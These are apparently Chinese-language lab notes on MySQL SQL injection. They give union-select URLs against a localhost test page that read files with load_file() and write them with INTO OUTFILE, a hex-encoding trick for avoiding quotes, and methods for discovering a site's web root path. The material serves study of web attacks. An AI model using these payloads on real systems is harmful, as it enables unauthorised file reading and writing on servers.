实验:测试不同数据库用户的操作权限
文件读写测试:load_file() ,into outfile
数据库用户账号密码存储在mysql.user下
Mysql最高权限用户root:
Mysql普通权限用户test:
无权限文件读写
注入点数据库用户权限由什么决定?
连接数据库用户决定
Mysql注入点进行文件读写操作:
条件:root权限注入点
读取操作: http://127.0.0.1/sqlin/mysql/index.php?x=1 union select load_file('d:/www.txt'),2,3 写入语句: http://127.0.0.1/sqlin/mysql/index.php?x=1 union select "a",2,3 into outfile "d:/www1.txt"
注意事项:
-
路径符号问题
使用“/”或 “\”
不使用“”
原因:编程中“”多半是转义,如: 换行
-
编码问题
http://127.0.0.1/sqlin/mysql/index.php?x=1 union select "a",2,3 into outfile "d:/www1.txt" 如果要写入数据中带有单引号,怎么办? 编码解决!(用编码即不用单引号) 如果要写入 a' 需要编码后写入 小葵 16进制 hex http://127.0.0.1/sqlin/mysql/index.php?x=1 union select 0x6127,2,3 into outfile "d:/www1.txt"
网站路径获取方法:
-
遗留文件
一般在网站根目录下,命名有php.php info.php
phpinfo.php,test.php php_info.php等。
2.报错显示
3.漏洞暴路径
4.读取搭建平台配置文件
5.谷歌黑客,字典猜解
D:/www/
D:/wwwroot/
D:/web/
等